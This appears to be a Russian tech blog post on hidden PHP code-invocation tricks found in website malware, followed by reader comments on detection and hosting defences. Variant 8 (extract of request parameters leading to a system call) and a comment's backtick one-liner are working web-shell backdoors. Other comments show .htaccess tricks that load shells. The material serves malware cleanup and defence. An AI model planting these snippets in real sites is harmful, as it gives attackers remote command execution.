Приемы неявного вызова php кода, применяемые во вредоносных скриптах

    В процессе лечения сайтов обнаруживается множество разновидностей хакерских шеллов и бэкдоров. Скрипты отличаются функционалом и способом обфускации исходного кода, но у всех есть общая черта — это неявное объявление переменных и функций, а также косвенный вызов функций.

    Данный подход популярен среди разработчиков вредоносного кода, так как с одной стороны значительно усложняет анализ исходного кода, а с другой позволяет хранить код в текстовых данных. Например, часть вредоносного кода может загружаться со стороннего сайта, из базы данных, мета-данных jpeg/png/gif или передаваться в запросе к скрипту. Кроме того, часть кода, представленная в виде обычной текстовой строки, может быть легко зашифрована.

    Кстати, эти же приемы используются веб-разработчиками и в мирных целях в скриптах проверки лицензионных ключей и регистрации веб-приложений, чтобы затруднить взлом программных продуктов.

    Несмотря на все многообразие вредоносного кода, существует не так много вариантов объявления и косвенного вызова функций. Ниже представлены примеры различных техник скрытого вызова кода. Для простоты и наглядности пусть «вредоносный код» представлен вызовом

    echo "Test"
    


    который выводит слово «Test» на странице. Естественно, в реальных шеллах и бэкдорах имена переменных и функций, а также исполняемый код не хранятся в открытом виде и в большинстве случаев обфусцированы.



    Вариант 1: косвенный вызов функции

    <?php 
        $a = "var_dump";
        $b = "Test";
        $a($b);
    ?>
    


    Вариант 2: выполнение кода через eval

    <?php
      eval('$a = "Test"; echo $a;');
    ?>
    


    Вариант 3: выполнение кода через assert

    <?php
      assert('print("Test")');
    ?>
    


    Вариант 4: выполнение кода через array_map

    <?php
      function evil($a) {
        echo $a;
      }
      array_map('evil', array("Test"));
    ?>
    


    Вариант 5: выполнение кода через preg_replace('/.*/e')

    <?php
      preg_replace('/.*/e', 'print("Test")', '');
    ?>
    


    Вариант 6: выполнение кода через preg_replace_callback

    <?php
      $a = function () { echo "Test"; };
      preg_replace_callback('/.*/', $a, ''); 
    ?>
    


    Вариант 7: выполнение кода через usort, uasort, uksort

    <?php
      $a = function ($x, $y) { echo "Test"; };
      $b = array(1 => '1', 2 => '2');
      usort( $b, $a);
    ?>
    
    


    Вариант 8: скрытое объявление функций и передача параметров через extract

    <?php
       extract($_REQUEST);
       $a($b);
    ?>
    


    При запуске site.ru/script.php?a=system&b=ls выполнит системную функцию system(«ls»)

    Вариант 9: через регистрацию функции завершения (можно сделать exit() или die() для немедленного выполнения)

    <?php
       register_shutdown_function(create_function('', "echo 'Test';")); 
    ?>
    


    Такой же подход можно использовать со всеми вызовами, принимающими в качестве аргумента callable функцию: call_user_func_array(), call_user_func(), forward_static_call_array, forward_static_call(), register_tick_function(). Хотя в реальных шеллах и бэкдорах вызовы через данные функции мы не встречали, обычно используются варианты с 1 по 8.

    В реальных бэкдорах перечисленные варианты используют в комплексе, причем сами объявления переменных и функций часто выносят за пределы скрипта (например, загружают из базы данных, с удаленного сервера или из мета-данных изображений).
    Share post

    Comments 35

      +25
      Напоминает открытие пивной бутылки об любой угол, даже об глаз.
        0
        А мне вот пример preg_replace('/.*/e', 'print("Test")', ''); понравился. Не зная всех ключей, интуитивно можно не догадаться что этот код исполняемый.
          +2
          в документации к этому модификатору куча предупреждений, одно из которых советует вообще не использовать оный.
            0
            Особенно, если зашифровать второй аргумент, к примеру, base64.
              +12
              Да, портянка base64 в коде, совсем без палева :)
                0
                когда он в середине портянки gif/jpg — не очень уж заметно… особенно на глаз :) поиск-то находит.
                  +1
                  Имхо, такие портянки данных, зашитые в коде — это не гут.
                    0
                    да я про вирусы которые так прячутся =(
                0
                Умельцы чаще всего используют различные модификации обратимого XOR (особо извращенные)
                +1
                Этот ключ Deprecated в PHP 5.5
                +19
                В чем смысл статьи? Перечислить функции, в которых есть callable?
                  +1
                  Нет, перечислить все варианты, как можно неявно вызвать код. Половина примеров не имеет отношения к callable.
                  +1
                  Сталкивался с тем, что многие хостеры такие штуки начали запрещать фильтрами mod_security на уровне Апача (комменты в assert(), eval(), всякое подобное).
                  Наткнулся случайно, когда вдруг внезапно у клиента стал помирать рабочий скрипт с дебаг-кодом с assert()'ами. Хостеры (godaddy кстати) потом раскололись и рассказали.
                    +3
                    Сейчас функции запрещают в настройках suhosin (настройки suhosin.executor.func.blacklist, suhosin.executor.eval.blacklist), можно даже мофификатор /e запретить (http://www.hardened-php.net/suhosin/configuration.html#suhosin.executor.disable_emodifier). Ну либо отключать функции через disable_functions в php.ini, лишь бы доступ к нему был на хостинге.
                      0
                      А suhosin разве еще жив?
                        0
                        Не то что жив, во многих дистрибах по умолчанию с php ставится.
                          0
                          Там же последняя версия подо что-то из раннего PHP 5.3, которое уже все, емнип, в этом году.
                            0
                            Ну дык и дистрибы на серверах (не говоря уже о ленивых хостерах) не всегда самые модные и последние. Как говориться пока работает — лучше не трогать.
                              0
                              Дело не в модности а в уязвимостях. Для 5.3 уже и так почти ничего не коммитят, а скоро даже секурити-фиксов не будет.
                                0
                                Когда не будет фиксов и если админам не всеравно, тогда и буду обновляться. Только вот на каком нибудь shared hosting страшно наверное это делать. У юзеров че нить поломается и разгребай потом кучу негатива в саппорте. Да и вообще разные ситуации бывают.
                                зы: глянул у себя интереса ради, по дефолту ниже 5.4.4 нет, если не считать старой VPS-ки, где 5.2 еще.
                                  +1
                                  На shared'ах нормальные хостеры обычно за несколько месяцев рассылку клиентам делают.
                                    0
                                    Не в курсе, давно не пользуюсь, но N лет назад было так: хостер поменяет конфиг/версию и сиди ковыряй клиентские сайты с горой варнингов и фатал ерроров. Даже если предупреждает — хрен знает кто что кому и как накодил и CMS-ки мало кто обновляет, как и фреймворки и прочее. Короче непредсказуемая это штука — поменять версию и настройки так, чтоб ни у кого и ничего не поломалось.
                                      0
                                      ну большинство тех с кем я работал обновляли конфигурацию только для новых клиентов. Старым только по запросу. У некоторых так же есть возможность выставить нужную версию, хоть 5,5 хоть 5,2
                                  0
                                  RHEL? Centos?
                                  Для них секьюрити-фиксы будут.
                      0
                      Прочитал статью, понял, что ещё час придётся от последнего «защищать» проект…
                        –1
                        По моему когда залили шелл — не надо сидеть и изучать сам шелл. Надо узнать как его собственно залили и исправить дырку в безопасности. А убрать шелл — git reset --hard
                          0
                          git stash — и можно сидеть, изучать. :)
                            0
                            И чего?)
                            git stash list
                            А можно еще и закоммитить че-нить. Смысл в том что если используется VСS — убрать шелл можно парой комманд.
                              0
                              Да, можно вообще отдельную ветку для внешних разработчиков выделить. :P
                          0
                          Однажды видел на сервере PHP-шелл, подключенный через .htaccess:

                          php_value auto_append_file "/path/to/shell.php"
                            0
                            Ну это просто.
                            Я как-то раз видел вот такое:

                            AddType application/x-httpd-php .jpg

                              0
                              Это вот + какая нибудь Joomla и получается очень плохо.

                              А по хорошему *.jpg,*.gif nginx сам лично отдаёт.
                            +2
                            Еще в копилку, хоть это и вызов shell_exec, а не php-кода, но оператор backticks тоже надо иметь ввиду:
                            `$_GET['c']`;
                              +1
                              Вы бы все функции, которые с коллбеками работают в один пример объединили бы. Во-первых, это по сути один приём, во-вторых, вы всё равно далеко не все перечислили.
                                –1
                                Красивое решение под номером 8.

                                Only users with full accounts can post comments. Log in, please.